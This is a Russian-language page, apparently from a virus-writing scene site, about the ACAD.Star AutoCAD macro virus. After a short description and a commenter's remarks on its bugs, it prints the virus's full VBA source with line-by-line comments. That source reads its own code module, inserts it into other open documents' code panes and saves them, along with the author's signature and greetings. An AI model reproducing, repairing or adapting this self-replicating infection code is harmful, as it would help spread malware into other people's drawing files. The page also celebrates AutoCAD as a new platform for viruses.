![]() |
![]() |
![]() |
Описание ~~~~~~~~ ACAD.Star является макро-вирусом длиной всего 568 байт, написанным на языке VBA. Примитивность касается не только его размера, но и строения: из-за плохого знания особенностей работы AutoCAD и VBA автор вируса допустил ряд ошибок, которые делают практически невозможным размножение вируса в нормальных условиях. О вирусе ~~~~~~~~ Три раза в жизни я видел AutoCad, так что я не могу судить о написание этого вируса. Но все таки ошибки есть, можно было вирус по другому написать и без глюков, мне кажется в вирусе куча ненужных меток и дерьма. Автору можно было покапаться еще пару часов чтобы довести вирус до ума. Но все таки вот появилась новая платформа для вирей.! Private Sub AcadDocument_Deactivate() ' если текущий документ autocad не активен то Set VBEModel = VBE ' ставим метку On Error GoTo runtonext ' если ошибка то runtonext For i = 1 To Documents.Count ' проверяем все доки Set at = VBEModel.codepanes(i).codemodule ' ставим еще одну метку If at.lines(2, 1) = "Set VBEModel = VBE" And terr = 0 Then ' проверяем если во второй строке есть такие значения и метка равна 0 newroutine = at.lines(1, at.countoflines) ' если да, прочтем весь модуль terr = 1 ' полставим метку 1 i = 0 ' обнулим цикл End If ' закончим проверку If at.lines(2, 1) <> "Set VBEModel = VBE" And terr = 1 Then ' проверяем если во второй строке есть такие значения и метка равна 1 VBEModel.codepanes(i).codemodule.InsertLines 1, newroutine ' то записываем туда свое тело... thisdocument.Save ' сохраняем документ End If ' закончим проверку runtonext: Next i ' далее '[Autocad2k\Star] '[A.s.T] 'Big Greetz to some0ne really special '"You`ll always be a star in my sky" ' Инфа End Sub |
||
![]() |
![]() |
![]() |